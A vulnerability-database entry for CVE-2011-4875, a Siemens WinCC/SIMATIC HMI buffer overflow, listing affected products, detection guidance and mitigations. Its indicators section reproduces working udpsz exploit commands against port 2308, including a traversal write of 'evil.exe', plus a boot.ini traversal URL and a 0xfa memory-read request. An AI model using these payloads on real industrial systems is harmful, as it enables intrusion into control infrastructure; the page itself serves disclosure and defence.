CVE-2011-4875

published 2012-02-03

CVE-2011-4875: Stack-based buffer overflow in HmiLoad in the runtime loader in Siemens WinCC flexible 2004, 2005, 2007, and 2008; WinCC V11 (aka TIA portal); the TP, OP, MP…

Priority P2 65 critical 9.3 CVSS 2.0

AV N AC M Au N C C I C A C

EXPLOIT

Stack-based buffer overflow in HmiLoad in the runtime loader in Siemens WinCC flexible 2004, 2005, 2007, and 2008; WinCC V11 (aka TIA portal); the TP, OP, MP, Comfort Panels, and Mobile Panels SIMATIC HMI panels; WinCC V11 Runtime Advanced; and WinCC flexible Runtime, when Transfer Mode is enabled, allows remote attackers to execute arbitrary code via vectors related to Unicode strings.

Affected

11 ranges

Vendor	Product	Version range	Fixed in
siemens	simatic_hmi_panels	—	—
siemens	simatic_hmi_panels	—	—
siemens	simatic_hmi_panels	—	—
siemens	simatic_hmi_panels	—	—
siemens	simatic_hmi_panels	—	—
siemens	wincc	—	—
siemens	wincc_flexible	—	—
siemens	wincc_flexible	—	—
siemens	wincc_flexible	—	—
siemens	wincc_flexible	—	—
siemens	wincc_runtime_advanced	—	—

Detection & IOCs extracted from sources · hover to see the quote

port 4410↗

port 2308↗

command udpsz -C "0004 02 00 00 00 ffffffff" -b a -T SERVER 2308 2+0x400↗

command udpsz -C "0004 03 00 00 00 00000000 00000000 00000000 00000000 00000000 ffffffff" -b a -T SERVER 2308 2+0x400↗

command udpsz -C "0004" -b 0xff -X 2 8 l 1 -l 0 -T SERVER 2308 2+0x400↗

command udpsz -C "0004 03" 0 -C "01000000 80000000" 0x16 -c ".\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0e\0v\0i\0l\0.\0e\0x\0e\0" 0x1e -T SERVER 2308 2+0x400↗

url http://SERVER/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini↗

command udpsz -c "POST \xfa\x01\x01\x01\x45\x40\x40\x41 HTTP/1.0\r\n\r\n" -T SERVER 80 -1↗

process HmiLoad↗

process miniweb.exe↗

bytes↗

0xfa (first byte of URI triggers binary memory read mode in miniweb)

• → Monitor for UDP traffic to port 2308 containing the magic byte sequence '0004' as the first two bytes, which is the HmiLoad protocol header used in exploit attempts against CVE-2011-4875. ↗
• → Detect directory traversal attempts against miniweb (port 80/443) using encoded backslashes (%5c) in HTTP GET requests, e.g. patterns like '..%5c..%5c' in the URI. ↗
• → Detect HTTP POST requests to miniweb where the URI begins with byte 0xfa, which triggers an arbitrary memory read vulnerability. ↗
• → Detect oversized Unicode string payloads sent to HmiLoad on port 2308 (UDP); the overflow occurs when the 32-bit size field in the packet exceeds the 0x400-byte stack buffer (EBP-0x418). ↗
• → Alert on HmiLoad directory traversal packets to port 2308 containing Unicode-encoded '../' sequences (e.g. '.\0.\0/\0') in the filename field of write/read/delete operations. ↗

• · HmiLoad only exposes the vulnerable attack surface when Transfer Mode is explicitly enabled; systems not in Transfer Mode are not directly exposed to the stack overflow. ↗
• · No vendor fix was available at the time of disclosure; mitigations rely on network-level controls (firewall/ACL) blocking access to ports 2308, 4410, 80, and 443 on affected HMI systems. ↗
• · Code execution via the stack overflow (Bug A) requires a two-stage attack: first corrupting memory beyond the 0x400-byte buffer using other packet types, then sending a large string size to trigger SEH corruption. ↗

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-119